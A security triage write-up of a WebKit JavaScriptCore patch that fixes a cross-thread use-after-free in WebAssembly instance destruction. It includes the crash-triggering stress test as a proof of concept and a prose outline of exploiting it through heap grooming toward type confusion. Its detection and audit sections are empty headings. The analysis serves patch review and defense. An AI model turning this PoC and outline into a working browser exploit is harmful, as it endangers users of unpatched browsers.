76b3468621 [JSC] Wasm::InstanceAnchor should be unregistered at the prologue of JSWebAssemblyInstance destructor
Triage note: Reorders anchor teardown to the start of the destructor; test expects a crash otherwise, indicating a destruction-order use-after-free.
Contents
The bug at a glance
JSWebAssemblyInstance’s destructor tore down the Wasm::InstanceAnchor last, after already destroying parts of the instance, but the anchor can expose the instance to other threads (including the Wasm compiler thread). A concurrent thread resolving the anchor during destruction obtains a pointer to a partially-destroyed JSWebAssemblyInstance — a use-after-free / use-during-destruction across threads. The bundled test expects a crash on vulnerable builds. Cross-thread UAF in the Wasm runtime is a strong exploitation primitive; high is appropriate.
The destructor unregistered the InstanceAnchor as its final act, so between the start of ~JSWebAssemblyInstance (which already destroys m_stackMirror registration, JS call ICs, baseline datas, etc.) and the anchor teardown, another thread that still holds/resolves the anchor could reach into an instance whose members are already being destroyed.
Root cause
Wasm::InstanceAnchor is a shared handle that lets other subsystems and threads refer to a JSWebAssemblyInstance without owning it — notably the Wasm compiler/JIT threads which may look up the instance while compiling or servicing tier-up. The anchor is the mechanism by which a JSWebAssemblyInstance is exposed cross-thread. When the instance is being garbage-collected, ~JSWebAssemblyInstance runs on the destructor thread and proceeds to tear down instance state: m_vm->traps().unregisterMirror(m_stackMirror), clearJSCallICs(*m_vm), destruction of baseline datas (std::destroy_at(&slot) in a loop), and other members.
Pre-patch, the anchor teardown (if (m_anchor) { m_anchor->tearDown(); m_anchor = nullptr; }) was placed at the end of the destructor. That means while the earlier teardown steps were executing, the anchor was still live and still registered/resolvable. Another thread — for example a compiler thread that resolves the anchor to obtain the instance pointer — could, during that window, acquire a reference to the JSWebAssemblyInstance and then read or use members that had already been destroyed (call ICs cleared, baseline datas destroyed, trap mirror unregistered). That is a use-during-destruction / use-after-free: the object’s storage is still present but its invariants are gone, and once the destructor completes and memory is freed, any retained pointer is fully dangling.
The fix moves the anchor teardown to the prologue of the destructor: the first thing ~JSWebAssemblyInstance now does is if (m_anchor) { m_anchor->tearDown(); m_anchor = nullptr; }, and only then does it unregister the stack mirror, clear JS call ICs, and destroy baseline datas. Tearing down the anchor first severs the cross-thread exposure before any member is destroyed, so no other thread can resolve the anchor to a half-destroyed instance. This is a destruction-ordering fix: establish the “no longer reachable by other threads” state before mutating/destroying the object. The included test (instance-anchor.js) warms up instances so a compiler thread is engaged, then drops one and forces gc(), expecting a crash on the vulnerable ordering (“done (should have crashed above)”).
Key code
JSWebAssemblyInstance.cpp: anchor torn down first in the destructor
JSWebAssemblyInstance::~JSWebAssemblyInstance()
{
if (m_anchor) {
m_anchor->tearDown();
m_anchor = nullptr;
}
m_vm->traps().unregisterMirror(m_stackMirror);
clearJSCallICs(*m_vm);
...
for (auto& slot : baselineDatas())
std::destroy_at(&slot);
}
Patch walkthrough
Source/JavaScriptCore/wasm/js/JSWebAssemblyInstance.cpp— In ~JSWebAssemblyInstance the anchor teardown block (m_anchor->tearDown(); m_anchor = nullptr;) is moved from the end of the destructor to its very beginning, before m_vm->traps().unregisterMirror(m_stackMirror), clearJSCallICs(*m_vm), and the baselineDatas() std::destroy_at loop. This unregisters the cross-thread anchor before any instance member is destroyed, closing the window in which another thread could resolve the anchor to a partially-destroyed instance.JSTests/wasm/stress/instance-anchor.js— New stress test. It builds a module, warms up instanceB deeply via a recursive bury() (500 frames) then instanceA with 500 export calls to engage tiering/compiler threads, drops references and calls gc(); on a vulnerable build the destructor ordering lets the anchor be resolved during teardown and the process crashes, so the final print (“done (should have crashed above)”) should not be reached.
Background
Wasm::InstanceAnchor — A shared anchor object that exposes a JSWebAssemblyInstance to other subsystems and threads (including the Wasm compiler) without owning it; tearDown() severs that exposure.
JSWebAssemblyInstance — The JSC heap cell representing an instantiated WebAssembly module, holding call ICs, baseline datas, a stack mirror trap registration, and the anchor.
Destructor ordering — For cross-thread-visible objects, teardown must first make the object unreachable to other threads, then destroy members; otherwise a concurrent resolver observes a partially-destroyed object.
Compiler thread exposure — Wasm compilation/tier-up runs on background threads that may resolve the anchor to fetch the instance; if it resolves during destruction it dereferences dead state.
clearJSCallICs / baselineDatas — Destructor steps that dismantle inline caches and baseline JIT data; if run while the instance is still anchor-reachable, a concurrent user sees inconsistent/destroyed structures.
Vulnerability window
- Warm-up — instanceB (deep recursion) and instanceA (500 calls) engage the tiering/compiler threads that hold anchor references.
- Drop — References are dropped and gc() is forced, scheduling JSWebAssemblyInstance destruction.
- Destroy members first (pre-fix) — ~JSWebAssemblyInstance unregisters the stack mirror, clears call ICs and destroys baseline datas while the anchor is still resolvable.
- Concurrent resolve — A compiler thread resolves the still-live anchor and dereferences the now half-destroyed instance.
- Crash / UAF — The concurrent access hits destroyed state (or freed memory once the dtor completes) — the crash the test expects.
- Fixed — Anchor tearDown() first removes cross-thread reachability before any member is destroyed.
Proof of concept
The test instantiates a trivial module, warms up instanceB through a 500-deep recursion and instanceA through 500 export calls to engage compiler/tiering threads that hold the InstanceAnchor, then drops references and forces gc(). On the vulnerable ordering, the anchor is resolvable while the destructor is dismantling the instance, so a concurrent thread crashes; reaching the final print indicates the bug is fixed.
//@ runDefault("--jitPolicyScale=0.1")
/*
(module
(func (export "foo") (result i32)
i32.const 42
)
)
*/
const WASM_CODE = new Uint8Array([0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x02, 0x01, 0x00, 0x07, 0x07, 0x01, 0x03, 0x66, 0x6f, 0x6f, 0x00, 0x00, 0x0a, 0x06, 0x01, 0x04, 0x00, 0x41, 0x2a, 0x0b]);
function bury(f, n) {
if (n === 0) {
return f();
}
return bury(f, n - 1);
}
function main() {
const mod = new WebAssembly.Module(WASM_CODE);
function warmUpInstanceB() {
const instanceB = new WebAssembly.Instance(mod);
instanceB.exports.foo();
}
bury(warmUpInstanceB, 500);
const instanceA = new WebAssembly.Instance(mod);
for (let i = 0; i < 500; i++)
instanceA.exports.foo();
gc();
print("done (should have crashed above)");
}
main();
Exploitation
- Engage threads — Instantiate and heavily exercise Wasm instances to keep compiler/tier-up threads holding anchors to the target instance.
- Trigger destruction — Release JS references and force GC so ~JSWebAssemblyInstance runs while a background thread still resolves the anchor.
- Race the window — On the pre-fix ordering, get the background thread to dereference the partially-destroyed instance / freed memory.
- Groom — Reallocate the freed instance storage with controlled data to turn the cross-thread UAF into a type-confusion primitive.
Detection & hunting
For defenders and SOC / detection engineers:
- Crash during Wasm GC —
- TSan reports —
- Anchor resolve after member destroy —
Audit directions
- Cross-thread anchor lifetimes —
- Wasm destructor ordering —
- Anchor resolution paths —
- Concurrent JIT visibility —